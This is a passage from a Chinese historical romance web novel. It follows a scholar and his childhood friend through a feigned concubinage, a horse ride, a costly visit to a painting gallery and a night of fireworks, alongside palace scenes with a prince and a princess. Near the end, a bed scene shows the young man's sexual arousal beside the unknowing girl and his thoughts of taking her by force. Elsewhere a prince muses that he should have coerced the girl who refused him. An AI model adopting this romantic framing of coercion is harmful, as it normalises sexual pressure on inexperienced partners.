一旦有人睡榻就极有可能被当值的丫鬟察觉,即便瞒过了一时也瞒不过晨间扫尘的丫鬟,不可能瞧不出软榻被人睡过,除非睡榻的人提前半个时辰起身,将一切物归原位,再躲进内寝,干瞪眼熬时间。 连贵妾都装了,一个屋子也待了,再苦熬睡软榻这一出,活像个失心疯,莫说简允璋不愿,黄时雨也觉得累,因此只要他在家,两人晚上势必同床。 理智上接受同床,不代表心理上接受,黄时雨的压力很大,所幸简珣言而有信,连续两晚都在找借口避开。 但这个借口用不到第三次的。 他是如此“喜爱”她,不惜打破规矩带回京留她在身边服侍,结果一回到京师两人就再也没见过面,委实不合常理。 曹妈妈已经觉得不可思议,但暂时还没往真相联想,只觉得在夫人跟前讨要黄姑娘的少爷与现在清心寡欲的少爷判若两人。 她所担心的事情一件也未发生。 小丫鬟们听从曹妈妈教导,只要少爷和黄姑娘在屋里就绝对不打扰,然而少爷就没回过府,更别说与姑娘独处。 初二黄时雨美美的睡了一个懒觉,神清气爽。 丫鬟们已经在净房捧巾捧香胰子排排站好,沐盆水温适宜,香气馥郁,估计加了香露的缘故。 黄时雨嗅了嗅,辨不出什么花,只觉得异常好闻。 简允璋家的香胰子与黄时雨见过的不太一样,泛着珍珠一般的光泽,五颜六色,每一块皆做成不同的花瓣形状,盛放在花梨木格子间。 丫鬟柔声问黄时雨今日想用哪一块。 黄时雨分不清门道,就随意挑个豆绿梅形,气味犹如沐盆的香露,似乎又多了牛乳淡香,入手滑腻,用它洗过,肌肤格外清嫩。 丫鬟轻声细语道:“小姐眼光真好,这也是咱们夫人的最爱,加了许多绿萼梅香露。您拔步床的妆奁也有五瓶,少爷特特吩咐给您备下的。” 这样好的东西不仅持香还滋润,加入沐浴的香汤,面脂唇膏,功效不胜枚举。 怨不得她的洗澡水洗脸水总是清奇特别。 绿萼梅香露一瓶一两金,便是乡野的丫头也如雷贯耳,不过倒是头一回见。 黄时雨的心登时麻木了。 才住下两晚一日,就颇有种火烧金山银山的错觉。 算上今日还要住四日,简直度日如年。 香雪居的新主人黄小姐是一位标准的大美人,举止得体,待人接物带着点少爷的影子,不笑的神情看起来也很像少爷,不愧是青梅竹马长大的。 丫鬟们不动声色地琢磨新主人的脾性。 黄小姐痴迷画道,大部分时间都用来作画,虽然话语不密,却有一双灵动眼眸,充满了生气,让人看着就觉得今日的天气会很好,她周围全是暖阳和花香。 午后,琥珀走进书房提醒黄时雨休息按摩的时辰已到。 汲取上回教训,黄时雨不敢贪多,立即乖乖躺平,伸出手腕任由琥珀涂药拿捏。 主仆二人有一搭没一搭聊天。 黄时雨搭着柔软馨香的狐裘毯子,迷迷糊糊睡了片刻。 右腕的手指变得温热而充满力量,舒服极了,她翻过身脸朝外依偎在为她按摩的琥珀身上。 被她依偎的人微微僵硬。 而她也察觉到了异样,蓦地睁眼。 简珣笑道:“舒服吧。” 黄时雨想起身又被他按下。 “别乱动。”他的声音很低,略带着一丝沙哑。 她用裘毯把自己裹成了茧蛹,只露出一双动人美眸,眨了眨,问了一句没有良心的话:“你,你怎么这么快就回来,那晚上去书房吗?” 第45章 扫兴 简珣笑了声,不答反问:“你觉得可以吗?” 黄时雨受他堵噎,如何也答不出“可以”二字。 直觉是不可以的。 纵是戏文里唱的恩爱夫妻也都是形影不离,而她与简珣已经离的不能再离。 完全不符合感情要好之人的行为逻辑。 黄时雨稳了稳心神,为自己找补道:“我就随意问问,反正……你觉得哪里合适便去哪里。” 说话的同时一骨碌坐起,撞开简珣,兀自穿上靸鞋。 躺着聊天的姿势好奇怪。 俯在上方的简珣使她感到害怕,莫名的紧张。 至于害怕什么,紧张什么,她也说不清。 简珣坐在原地没动,眼眸黝黑莫测,“梅娘。” “干嘛?” “睡觉的话,你不能,赤足。” 黄时雨愣住,习惯赤足睡觉的她,自恃身边伴着琥珀,便躺在书房小憩,根本没想那么多,直到此刻被简珣警告,才萌生羞愧。 不该当着他的面下榻的。 是她轻率了。 可他也……真的很讨厌。 “谁让你趁我没注意乱瞟的,下流。” 骂完一句,黄时雨愧悔不已逃走。 简珣苦笑。 黄时雨回到寝卧老老实实穿好鞋袜,汲取这次教训,将来在任何不属于自己的地方,譬如画署舍馆,也不可大意,彻底改掉不爱穿袜的坏习惯。 简珣站在隔扇外,轻轻敲了敲。 屋里的丫鬟瞧见他进来,都悄然退出,连个通传的人都没,一时间寂若无人,他只好自己敲敲内寝的隔扇。 原以为梅娘会请他进去,没想到她自己走了出来,已然从头到脚穿戴整齐。 簇新的衣裙,衣料也都不错,可惜不是他送的那些,而是她自己带来的。 如今的黄秀才,对这个女儿愈发大方,衣饰脂粉的份例早就不可同日而语,只不过黄时雨一心攒钱供自己画道,才甘于简朴,不讲究穿戴。 但进京画考则不同,俗话说人靠衣装马靠鞍,她一个异地他乡来考试的姑娘,难免遇上个把尖酸的,得体的衣饰便是一种门面,不叫人随意小瞧去,亦可谓最直接的自保手段。 可不管怎么说,黄时雨的行头与简珣为她置办的相差甚远。 也正因相差巨大,她更不能碰。 成套的珠钗宝石,怕是比她命都贵。 即便简允璋不会索赔,她也拉不下脸受用。 做人总得有点底线。 梅娘换掉常服穿自己的衣裙竟也毫无违和之感,反更浓淡相宜,素雅犹若新月春桃。 女大十八变,他的梅娘似乎又长大了些。 简珣目光微微发直,又狼狈地移开。 “是我不好,不该拘束你。再说,我也是个不爱穿袜睡觉的人,又凭何要求你必须穿。”他盯着月牙几上的山茶说话。 山茶旁的黄时雨不意他竟是来道歉的。 忽然就不生气了。 “其实……你说的也有道理,从前房间只有我和丫鬟,我散漫惯了,如今这个毛病是得改。你是成年的郎君,我不能在你可能看见的地方赤足。”她实话实说。 简允璋若心存恶念大可不必提醒她,反正他又不吃亏,直言便是希望她不再吃亏。 梅娘真是个通情达理的好姑娘。 简珣心里暖暖的,轻轻拉起她衣袖,“走,我带你出去逛逛。” 黄时雨怎能不心动,这可是京师。 她假意客气一句,就被简珣拽出了房间,双脚不停拨动方才追上他的流星阔步。 琥珀追过来为黄时雨戴上帷帽,简珣道:“我会看好梅娘,你们不必相随。” 丫鬟又不会骑马,倒不如带福喜福生方便。 “坊与坊之间的街道允许骑马,比起马车视野开阔,亦可俯瞰街市,你想不想试试?”简珣问。 黄时雨迟疑了下,“可是我只骑过小毛,也行吗?” 简珣道:“我教你,肯定行,很简单的。” 福生福喜早就挑好三匹骏马立在香雪居门口待命。 一匹青白花色,一匹通身雪白,还有一匹玄黑如墨缎四蹄却雪白。 它们比拉车的马儿更为威风高大,在黄时雨眼中宛若巨兽一般的存在,于是乎,她怂了,怯怯往后退了一步。 简珣嘲笑道:“胆小鬼。” 黄时雨并不吃激将法,“它们那么高,马背都快超过我鼻梁,我爬不上去,就算爬上也很容易摔落,到时不论摔死摔伤皆得不偿失。你是坏人,你想怂恿我做危险的事。” 简珣扳鞍上马,十分受教:“娘子教训的是,谁怂恿你做危险的事,谁就不是好人,不过我除外。” 他只想哄她共乘。 丫鬟小厮不由偷笑。 黄时雨蹙了眉心瞪简珣。 简珣驭马来到她身边,俯身伸出手,“过来。” 她当然不可能乖乖听他的话。 黄时雨转过身,冷不丁身体被人捞起,她惊呼一声,天旋地转就骑在了马背上,整个世界仿佛随之匍匐,变矮了。 她却像只掉进冰窖的小麻雀,浑身梆硬,动也不敢动坐在简珣怀中。 简珣一臂揽着她,一臂策马前行,笑道:“你就当它是长大的小毛。放松,放松,腰再软一点。” 这日,简珣花了两刻钟使她冷静放松,又花了一刻钟陪她适应狮子骢的速度。 狮子骢是三匹马儿中相对“娇小”的一匹,青白花色。 渐渐地,黄时雨就觉味出骑马的快乐,人也不由自主舒展。 但心里乐开了花,小脸却板起,“下回你再霸道行事,我可不饶你。” “好。”简珣无不应她,“那现在觉得好玩吗?” “好玩。” “银台夕照,居关叠翠,清泉石上居,你想先看哪一个?” 黄时雨毫不犹豫,“我想看清泉石上居。” 神往已久的画阁。 “嗯。” 她已经学会了扶住马鞍保持平衡,甚至自己抓缰绳,得了趣就益发狂妄,“我想自己单独骑。” 那么怕死的一个人,在马背上竟雄起了。 实则半是雄起半是知羞,共乘仿佛坐在了简允璋的怀抱,为了教她如何发力,他的手时不时握住她的腰肢,提醒她放松。 少年人硬坦又温暖的胸膛,以及结实修长的腿无不令她着了慌,太没边界感了。 总觉得简珣在有意无意引领她涉足一条禁忌的深海。 沉醉马术的黄时雨,不得不拼命警醒。 “不能单骑,那我先不骑了。”黄时雨下定决心忍痛割舍。 简珣在她身后道:“真不能,不信我再快些,你就知道马儿多危险。” 她不信。 简珣猛然夹马腹,勒缰绳扬了扬,狮子骢咻地起飞,黄时雨“啊”的一声惊呼。 乌衣子弟怀抱佳人纵马畅游,羡煞多少春闺绣楼,正是年少意气风发时,这一年的简珣触摸到了幸福,他想永远拥有。 也是这一年,文极诗社因他的加入而名声大噪,昨日新作的词赋被竞相传阅。 原本只是几家读书的少年郎突然兴起所办,大家引经据典,对月颂古今风流,各抒情怀,没想到写下的词赋一篇比一篇精彩,被家中姐妹摘抄,姐妹又与闺蜜分享,事不凑巧,其中一个姐妹简琳芸,也就是长房的嫡女,她的闺蜜是懿阳公主。 懿阳虽骄纵却也不是不学无术的金枝玉叶,反倒琴棋书画样样精通,于诗词歌赋更有一番才名,如今读到简允璋的词赋岂能不惊为天人。 自那日怦然一瞥已是三月有余,原以为相思无解,如今却与他的词赋重逢,儒雅内敛又不失少年的傲气,懿阳潜藏心底的爱慕登时如浪涛翻涌,思念难捱。 换做从前,她定会立刻去寻母妃拿主意,现在却迟疑了。 女孩子情窦初开,仿佛一瞬间就长大且懂事,懂了很多从前不留心的事,现在留心自然就会懂。 倘若告知母妃,过不多久三皇兄也会获知。 而一旦三皇兄知悉必会管束她,又想到母妃只听三皇兄的,懿阳念头一转,脚步也转了弯,径直回到自己宫殿,派遣一名机灵的小内侍前往丹凤门打探父皇踪迹。 皇帝正在摆驾御花园。 御花园的珍花坛,砌了三层,常年摆满稀世品种,当下正是赏菊季节,花房就把新培育出的八种稀世名品摆了上来。 既是观赏花中四君子之一,皇帝也就附庸一回风雅,没有带上莺莺燕燕,而是陪伴母后,随行的还有两位皇子以及十二弟。 一家人其乐融融。 花房的掌司惯会来事,为了这一日的氛围感,专门与内官监、银作局、御膳房通过气,以确保赏菊这日一应器皿无不与菊相关。 一行宫婢内侍簇拥皇帝浩浩荡荡迈入御花园,遥遥就见锦幡荡漾,而园中也是筵开玳瑁,褥设芙蓉。 皇帝入目便是天光晶映下色彩空明的花海,一朵朵大如瓷盆,当中紫龙卧雪与绿云最为壮观,在民间已经达到了一朵十两金。 皇帝龙心大悦,当下就命花房每种挑两盆送去母后的永寿宫,又赏了皇子和十二弟绿云紫龙卧雪各一盆并西湖柳月两盆。 韩意淮与众皇子连忙叩拜谢恩。 “免了免了,又没有外人在场,别动不动就跪。”皇帝性格随和。 太后总觉得阿淮此番回京有所变化,细究一番却又说不出哪里变了。 韩意淮谈笑自如,相伴母后皇兄。 肃王殿下生来高贵,受尽呵护追捧,怎甘心为一个民女柔肠寸断,寤寐思服,所以他将小木头抛诸脑后,不仅要忘了她,哪怕她反悔,他也不会再回以真心。 他头脑清醒,认定低声下气的事只做一次就够。 皇帝内帷充盈,偏今年的选秀准备得早,已经来不及取消,于是宫中就多了十几位美人。他大手一挥先后赐予皇子、宠臣若干个,如今亲弟弟就站在旁边,正是精力旺盛腰力甚好的年纪,那不得多赏两个。 皇帝笑道:“这两位秀女出身书香门第,才貌不俗,十二弟留着将来做个侧妃也挺好。” 韩意淮没想到皇兄今日兴致这般高,又是赐花又是赐美人,那他也不能扫了皇兄的兴,当即应好谢恩。 王府这么大,多两个女人少两个女人并没差,但他还是忍不住求饶:“皇兄的恩宠臣弟感恩戴德,只是往后可莫再往臣弟这里塞人吧,美人如花,养起来委实浪费银子,臣弟心疼。” 皇帝哈哈大笑,“往后你便是想要,朕也没有多余的赏你。” 三年一次的采选现今要改成六年一次。 选秀劳民伤财,选进宫也伤宫里的财,而皇宫的女人已经足够多,所以更改选秀制度实乃明智之举。 皇帝虽风流倒也算一位明君。 何况在时人眼里,风流并不是一个男人的缺点。 俊美多情的韩家男子非但不愁娶媳妇,还甚为抢手。 一场伴随天伦之乐的赏花宴结束,韩意淮服侍母后回宫,新得的美人则服侍他回王府。 不论美人还是稀世名品的绿云紫龙,在肃王眼里都不过是见怪不怪的赏赐。 器皿物件将会纳入王府藩库,由专侍精心维护,保持原貌,而美人是活的,给间小楼或小院就能存放,她们自己会吃会喝,每个月还有月例,只要他这个男主人在,就不会将她们饿死。 韩意淮意兴阑珊打量跪在榻下为他按摩的美人,脑子就不由自主想起了小木头。 小木头的手也是这样的柔软,嘴唇更软,香香的,是她天然的体香。 那样香软的唇舌,令他流连忘返,凭着本能索取,越来越深,若非及时停下,可能就会要了她。 现在却有一丝后悔。 假若当时生米煮成熟饭,或许就不会有现在的失落。 事后再砸足够的好处,就不信她不顺从。 世上哪有什么是买不到的,即便有,也定然是出价不够多。 她拒绝他,无非是因为太呆了,完全不懂他的出价,更不懂做他的女人有多少好处。 然而没有发生的事多思无益。 事实就是他奉上真心与白银,甚至侧妃之位以求鱼水之欢,她都不愿意。 她怎么可以不愿意…… 少年人一旦知慕少艾,就避免不掉冲动。 肃王殿下想着那个人,就有了一丝悸动。金鹤察言观色,悄然对身后摆摆手,身后的侍从立即随他弯腰告退。 肃王没有阻止,便是默认了。 为肃王捶腿的美人,不意恩宠来得如此之快,当下呼吸渐渐急促,兴奋与紧张无不令她微微发抖,竟让肃王会错了意。 韩意淮淡淡道:“你不愿?” 美人惶恐,跪直了身子,“妾愿意!妾心甘情愿属于殿下……” 看吧,正常的女人怎么能不愿意。 韩意淮沉默,攥住美人的手腕,俯身将她抱上榻。 然后面无表情的解自己腰带,美人羞涩不已,缓缓伸手,主动帮他解,明明乖巧又懂事,男人都喜欢这样的,却不知为何,肃王殿下忽然扫了兴。 他拆下腰带摔在地上,懒洋洋往后一靠,“算了,退下吧。” 美人花容失色,又解不出哪里出错,登时委屈不已,可怜巴巴望着闭目养神的肃王。 肃王睡着了。 美人颤了颤,终是含泪福身退下。 小憩片刻,韩意淮忽然睁开眼,“金鹤。” 金鹤应声而入,“殿下有何吩咐?” 韩意淮道:“更衣。” “是。”金鹤立即吩咐小内侍备水,亲自伺候殿下洗漱更衣。 韩意淮换上亲王常服,朱红色的衮龙袍。 本朝亲王、皇子常服颜色大多为红,只有皇帝的衮龙袍才可以用明黄、赭黄。 肃王殿下一把夺过金鹤递上的缰绳,翻身上马,大咧咧疾驰朱雀大街。 金吾卫打远望见翼善冠和衮龙袍,便纷纷退让,肃王殿下一路畅行无阻。 闻遇才登过肃王府没几日,今日就被肃王亲自找上门。 还挑在了午休。 “殿下,您似乎有点失礼。”闻遇睡眼惺忪,半披及腰黑发,面色不虞,拢了拢宽大的睡袍。 他因公数月未休,如今好不容易闲赋在家竟还要应付小王爷。 韩意淮手握长鞭,挺秀身形赫然立于庭院正中央,“我改主意了。” 闻遇挑眉:“什么主意。” 韩意淮冷声道:“今年画考的主考官,我可以。” 画署乃至石上居已经不止一次邀“陆宴”出任画考主考官之一,皆被不宜露面推拒,如今“陆宴”本人,肃王殿下,竟亲自登门要求主考官一职。 实在很难不让人多想。 闻遇慢悠悠道:“殿下恕罪,您若实在喜欢,我把她弄去石上居打杂,您随便玩儿,但画署真不行。” 韩意淮狠狠挥了下皮鞭,“你,也太小瞧本王与她,区区画署,也配本王以权谋私?” 连自称都变了,与他说话已开始用“本王”,想来是真的动怒。闻遇唇角微扬,侧身做了一个请的手势,“殿下息怒,借一步说话,您想怎么着,拿个章程我看看。” 韩意淮哼笑一声,“莫说她不是我的女人,即便是,若无真才实学,我也不会允许她进画署。” 但他得让她知道,她无情拒绝的,深深崇拜的人——都是他。 他就是陆宴。 不论是后悔还是死不悔改,他都想再遇见她。 第46章 缠绵 清泉石上居,天下第一画阁,单从外表完全看不出啊。 黄时雨怔怔站在两扇宽约五尺的黑漆镶铜环大门前,既无世家大族的巍峨,也无豪门富户的华丽,与它响亮的名声比起,实在违和。 与其说是画阁,不如说更像江南诗画里的寻常人家,粉墙黛瓦。 一名青衣老者闻声拉开角门,目光落在门外少年少女身上,明显闪过几多惊艳,但语气仍十分慎重,“请问二位有无画阁简帖?” 石上居与普通画阁最大的区别是,旁人家里求客人上门,而它是客人求着上门。 想成为石上居的贵客就得有石上居的简帖,而石上居只会给奉纳五百两白银的贵客发简帖。 请注意,这五百两不是在画阁买画的花费,而是单纯的奉纳。 有了简帖,方能参加每三个月举行一次的名画竞买,以及每月一次的名家画师陈列会。 陈列会只能看不能买,铁了心想要也只能竞买,乖乖等上三个月。 这样一个规矩繁多又不讲情理的地方,有钱人偏偏趋之若鹜,皆以收藏石上居名画为夸耀资本,似陆宴这种级别的画师,早就到了千两竞买的地步。 黄时雨惊骇不已,若非切身经历,实在不敢相信石上居还会“抢钱”。 开门做生意不揽客只拦客,想进来逛逛先交五百两,交了也不是想逛就能逛,每个月竟只给你看一次,给看不给买。 哪个有癔症的人想出的。 她扯着简珣衣袖,只想打道回府。 简珣一个以课业为重的学子哪有时间关注画道,自然没有简帖,但观他的神色,明显就是要现买一个。 果然,他道:“请问今日奉纳是否赶得上陈列会?” 老者点点头,“自然可以,戌时才闭阁。” 简珣请老者引路,老者立即施了一礼,微微躬身请少年少女入内。 黄时雨被简珣攥着手腕前行。 “阿珣,不如改日吧……”她小声劝道。 “我连石上居简帖都没有,那太丢脸了,必须买个自己用,你不要想太多。”简珣淡淡道。 话虽如此,可是花五百两买张“进门券”真的很傻!黄时雨小声嘀咕,赫然发现简珣奉纳了一千两银票! “不要买两份,我不要。”黄时雨忙不迭阻止。 “来都来了,总不好让你站在门外,”简珣面色如常道,“这简帖又不送你,你紧张什么?” “那也有点浪费……” “不浪费。来这种地方一个人多无趣,总要多备一份,下回我再带个胆子大的姑娘来。” 简允璋讥讽她少见多怪。 黄时雨拧眉瞪起眼,他就笑了。 这么爽快的小公子,一看便是京师有家世的人物。画阁管事态度笃敬,全程忙前忙后,伺候周到。 这厢登记完,画了押,画阁管事将两封简帖双手呈给简珣,“公子久等了,请笑纳。” 简珣颔首接过。 管事立即唤来两名美貌仆婢,介绍道:“这二人将全程伺候公子小姐,二位若有任何疑问或需要也只管吩咐她们。” 两位仆婢举止得体,同时对简珣和黄时雨屈膝施礼,动作几乎一模一样,“给公子请安,给小姐请安。” 音色温婉,规矩拿捏的仿佛大户人家的一等丫鬟。 只见二人一左一右,稍许侧身领先一步,款款为贵客引路。 黄时雨脑子还停留在一千两。 简允璋到底有多少钱? 有钱也不能这样挥霍! 五百两的简帖说买就买,甚至多买一个,就为了有个伴儿? 简珣偏头看向恍惚的黄时雨,“只有媳妇才会管男人的账,你这样,莫非是想嫁给我?” 黄时雨满脸无语,“你能不能正经些,这可是一千两!我总觉得在占你便宜……” 简珣勾起一抹坏笑,“那你有没有便宜也让我占一占……” 直觉他言语轻佻,但联系前面的话似乎又没有问题,黄时雨横了他一眼,不再理他。 二人随丫鬟迈入一间雅舍,身边服侍的人就更多了,门口还立着两名护院。 受过专门训练的护院,身姿宛如行伍出身,眼神一瞬也未瞟到女客身上,立在原地动也不动。 此间丹青比房子都贵,为免突发状况,放两个护院再正常不过。 赏画的过程也跟黄时雨想象的完全不一样,从两个服侍的丫鬟变成了四个。 两名伺候茶水,令两名负责将画卷打开,挂在客人面前以供欣赏。 客人只能赏不能碰。 没想到第一幅便是陆宴的《莲溪虾趣图》。 黄时雨眸光凝滞。 此前,她曾站在很远的地方瞥见赫赫有名的陆宴真迹,短短须臾自难相忘。 后来又在阿爹书房见过一副赝品,亦是触动非常。 而今,陆宴的丹青就放在脸前,这样的近,这样的分毫毕现。 感觉天翻地覆。 天赋异禀的人往往都有傲气,即便口头不说,心底或多或少都带着点自命不凡,这点与文人相轻不谋而同,黄时雨也不例外。 心底的她深深为自己骄傲,旁人浸淫数年的画道也不一定比得过才涉此道半年的她。 她从未言明,但确实为自己的天赋而抬头挺胸。 窝在泽禾那个小地方的她,终日坐井观天。 此刻所有的傲气与自负,顷刻间被陆宴的一副《莲溪虾趣图》击个粉碎。 哪怕面对《嵩山晴雨图》,黄时雨也能自持,因她明白这是前无古人的大师之作,大师高居神位,作为一个凡人的她有云泥之别再正常不过。 但陆宴,虽久负盛名,这样名气的画师却不止他一个。 黄时雨对他的定位是人,才华横溢的人,既是人,那自己与他的差距就不该大到超越预期。 但现实给了黄时雨当头一棒。 当近距离直面陆宴的墨宝,她竟如此渺小。 她一再攥紧了拳头,死死咬住下唇。 短短一瞬间,震惊、嫉妒、自卑、不服在胸臆翻涌,临了又都凝成了此刻的平静。 黄时雨是一个道心坚若磐石的姑娘。 默然接受了尚不完美的自己。 所以才更要考画署。 潜心修炼,终有一日超过陆宴。 陆宴再强也不是一蹴而就,说不定早已在画道摸索数十年,有此功力再正常不过。 黄时雨轻轻吸了口气,呼出,浅笑道一句:“陆先生画功了得。” 但她眉宇间明明染了失落。简珣静静打量神色几度变化的梅娘。 话分两头,懿阳已经在赏菊宴后见到了父皇。 皇帝以为调皮的七公主对绿云和紫龙卧雪有什么想法,佯嗔道:“喜欢就大大方方说出来,朕何时对自己的公主吝啬过,莫要鬼鬼祟祟,连父皇的行踪都敢打探,没有规矩。” 懿阳脸颊微红,迈着小碎步捱到父皇身边,挽着他胳膊晃了晃,“人家才不是惦记父皇的两盆花儿,只是想给父皇看一个好东西。” 哦?皇帝来了兴趣,看向她。 懿阳献宝似的递上一张沾满女儿家熏香的诗笺。 “父皇,这是儿臣誊抄的,原作是一名公子……”说到“公子”二字,懿阳已是粉面如霞,声若蚊呐。 皇帝不用细辨也瞧出七公主到了怀春的年纪。 不过这篇词赋写的当真不错,极好。 水平至少也得是个进士,只不知是哪家的公子这么有福气,竟入了懿阳的眼。 皇帝笑道:“挺好,就为这个才不守规矩?” 懿阳羞愧不已,连忙给父皇请罪,扑通跪了下去,说什么也不肯起身,就跪坐威武的父皇身边,支支吾吾道:“父皇,您怎么不问问是谁家的公子呢……” 皇帝道:“问了岂不是要为你做主,朕可得好好思量。” 懿阳眼眶微红,想起了一堆委屈的事,“三皇兄也为此训斥儿臣,母妃为了不让儿臣进国公府还将儿臣拘在佛堂抄经,连芸娘也不怎么相邀了,为何所有人都要为难儿臣,儿臣喜欢那个公子究竟错在哪里?” “如今,儿臣只敢把心事告诉父皇。”她抬袖抹泪,颇有些凄然,“从小,大家都说儿臣是父皇的女儿,金枝玉叶,配享人间荣宠富贵,那为何儿臣只倾心一人,就遭到了天下人反对。” “天下人反对”这话都说出来了,不可谓不夸张,皇帝心知她夸大其词,这就是一个费尽心机讨要嬉具(注,玩具)的孩子,正在试图通过最有权威的父亲实现。 不过皇帝却从中发现了三皇子对安国公的态度,神情渐渐讳莫如深。 想法简单的七公主脑子里只有情情爱爱,也全心的依赖父皇。 她的母妃与皇兄对此全然不知。 做梦也想不到她竟将此事抖露到皇帝跟前。 皇帝摸了摸懿阳的脑袋,不疾不徐道:“那你说说看,到底是谁家公子。” 其实已经猜到七八分。 定然与安国公府有关。 懿阳羞然道:“泽禾的小三元简允璋,他的表字还是汤知府亲自取的呢。” 又小声地补冲下一句,“他是,是安国公的侄孙。” 安国公的侄孙可不少,有远有近,那身份自然也千差万别。皇帝挑了挑眉。 懿阳心知躲不过的,支支吾吾道:“是亲侄孙……宣道坊简府的。” 皇帝自然没听说过简允璋这号人物,但一说宣道坊简府就想起了已故的慎远。 “原来是慎远家的孩子。”皇帝淡淡道。 “嗯。”懿阳小心翼翼望向父皇,充满了期待与祈求。 皇帝的神色看不出半分异常,“此事不急,等你及笄再议。” 明年二月份她就及笄了,现在议也不算早呀。懿阳还想说话,但父皇眼底的一丝不耐终究让她浑身凛然,咽了咽,苦涩道:“儿臣明白。” 到底是自己的亲生女儿,这副委屈凄然的表情实在窝囊,皇帝看了于心不忍,宽慰她两句:“何必急于一时,这才走到哪里,以他的年纪怕是乡试都还没考过吧,你怎知他将来不会落榜?说不定连参加琼林宴的机会都无。” 大康也不是没有中过小三元最后会试名落孙山的。 皇帝以为情窦初开的七公主为简允璋的才华所倾倒。 殊不知就算简允璋名落孙山,懿阳也认定,但她不能直言自己的所思所想。 懿阳嘟了嘟嘴,“不可能,儿臣相信定能在琼林宴见到他。” 对于皇室宗亲而言,琼林宴又被戏称为皇室的榜下捉婿宴,还真有运气好的才子与公主看对眼,双方又恰恰年纪合适无婚配,整好披红穿着进士服成亲,当晚洞房,成就一段传世佳话。 皇帝的表情始终深远,岂会轻易做决定。 他笑了笑,“那就祝你的小公子好运,等他能参加朕的琼林宴。” 懿阳悻悻然,用力点了点头。 殊不知她的小公子已有佳人在侧,乐不思蜀。 黄时雨先后赏鉴了六位当世名家的墨宝,客观来说,竟无一人可比陆宴。 举凡画师都有或多或少的小怪癖,这些怪癖非但不会令他们的丹青贬值,反倒被人当作野史津津乐道。 有喜好与歌姬厮混的,有嗜酒如命的,有多金却吝啬的,有不善言辞口吃的,而陆宴的特别之处在于神秘。 越神秘反倒越引来关注,近两年他的画被炒的一副比一副贵。 此人从不在公开场合露面,提及他,除了他是一个人,真实年纪、性别谁也说不准确。 旁人水墨都会留个号,譬如东阳居士、花木先生之类,偏他就用“陆宴”二字,一看便是姓名,但不知是真是假。 其实在黄时雨眼里,所有的当世名家都神秘,一个也没见过,更知之甚少,仅有的了解还是通过前辈手札所得。 故而陆宴的特殊在她这里倒也没那么特殊。 黄时雨蜷了蜷手指,赫然发现简珣正攥着她的腕子,他好像一直这样牵着她走,仿佛她牵着小毛。 黄时雨推他,“撒开撒开。” 简珣边走边道:“你在京师人生地不熟,我不牵好了万一被拍花子拐走可怎么办。” 梅娘果然就不再乱动。 她的胆子只有一粒豆那么大。 福生和福喜一直坐在专门招待随行仆从的大厅休息,瞥见少爷走过来,立即起身备马。 方娘子说的果然没错,京师的坊间热闹非凡,华灯初上人流如梭。 黄时雨看呆了,她从未见过这样的胜景。 简珣从攥着手腕变成了十指相扣,她也不敢抵抗,全程亦步亦趋紧跟他。 晚上光线昏暗,不宜再戴帷帽,简珣将自己的帕子系在她脸上,黄时雨眼睛睁得大大的,有烟花在他们头顶绽放。 简珣却看着比烟花更美的眼睛,他只想俯身亲一亲她。 他克制自己。 梅娘却对着星空粲然而笑。 黄时雨惊叹绚丽磅礴的仙景,吞噬整个星空,每一朵都有自己的名字,简珣告诉她黄色的是“黄蜂出巢”,红色的“撒花盖顶”,五颜六色的“天花喷薄”。 还有宛若耕牛大小的火漆木兽,人藏在兽腹拉动机关,木兽就能摇头摆尾,从口中喷火,火光映照人间。 黄时雨不禁跟着人群一起欢呼。 福生和福喜陪主子逛街市,撑得不行,但凡黄二小姐多看一眼的吃食零嘴,少爷就一定会买,二人跟着吃一路。 这么美的地方,她一定要带姐姐也来看一看。黄时雨眸光亮晶晶的。 一直玩到了深夜,她的眼睛还瞪得像铜铃,全无困意。 直到骑上马,才有困倦袭来。 回到住处,丫鬟伺候黄时雨沐浴更衣,洗了一半,她险些睡着,强撑着洗完,躺在软榻上真正睡去,琥珀与另一名丫鬟轻手轻脚为她烘干长发。 简珣早就沐浴结束,直到换好寝衣也未见梅娘来床上,原来已躺在外间的榻上熟睡。 丫鬟们瞧见他出现,立即告退。 他俯身横抱起黄时雨迈进拔步床,吹灭最后一支烛火。 原本就是故意榨干她精力,这样他也好过些。 免得她不情不愿地折腾,叽叽喳喳个不停。 他是能忍,但是忍耐的过程真的很难受,甚至有点痛,涨得痛。 梅娘安安静静躺在他怀中,他方能少受些罪。 帷幔四合,帐子里只余他与她缠绵的呼吸声,因为眼睛看不见,嗅觉、触觉就被无限的放大。 简珣脑子里有根弦颤颤欲断。 事情根本不是他想象的那么容易,即便她不动不吭声,他也无法好过。 太柔软,太甜美,他渴极了,无比想要尝试梦中的场景。 百爪挠心。 他拥着她的手臂逐渐收紧。 心里有两个声音在争吵,一个说不如就要了她吧,她什么都不懂,哄一哄说不定就能骗过去,她若是哭喊便吻住她的嘴;另一个声音却拼命告诫他,不可以,千万不可以伤害梅娘。 她什么都不懂,硬来极有可能弄伤她,到时可就难哄了。 简珣用力闭上眼,微喘埋首她颈窝。 黄时雨喘不过气,幽幽转醒,周身陷在滚烫炽热中,简珣在她颈窝粗重的喘息。 她吓了一跳,乱扭起来,“你干嘛,压到我了,快起开,说好隔着枕头的。” 简珣近乎哀求的声音在她耳边响起,“求求你,安静好不好,求你了……” 她哪里肯听他的话,挣扎着就要起身,“什么东西咯到我了,起开呀。” 说着,她就要去抓那个东西。 简珣惊慌失措,脑子嗡嗡嗡的,却只剩下攥住她手腕的力气。 她却一刻也不消停,他浑身如过电,脑子一片空白。 恍惚中觉得梅娘变成了柔软的暖云,铺天盖地,忽然贴住他要命的地方,世界就安静了,脑子里的弦也断了,简珣颤了颤,那积攒日日夜夜的绮思遐想尽数交代。 他闷哼一声,短暂脱力,整个重量压在了她身上。 黄时雨被他莫名销魂的声音震慑住。 四下静悄悄,简珣沉重的心跳震耳欲聋。 忽然,他翻身下床,逃也似的消失。 第47章 初醒 一炷香后,简珣额角碎发尚带着冷水的湿气,重新换了套寝衣,撩幔上床。 没有烛火,四下漆黑,他氤氲微凉的气息重新躺下,却仿佛能看清黄时雨的一举一动。 简珣淡淡道:“睡觉。” 黄时雨才从角落里慢慢挪动,贴着另一侧躺下,“你身上为何有一根棍子?” 简珣默然翻过身,背对她,良久无言。 黄时雨想起思渊身上也有,但那时她过于慌乱,还以为是扇子滑落。 正当她百思不得其解时,听见简珣幽幽的声音:“你想不想看?” “可以吗?” “可以,但你也得让我看看你,相同的地方。” 黄时雨就不吭气了,翻过身,背对他。 不过次日清晨,那个令她新奇的东西又出现了。 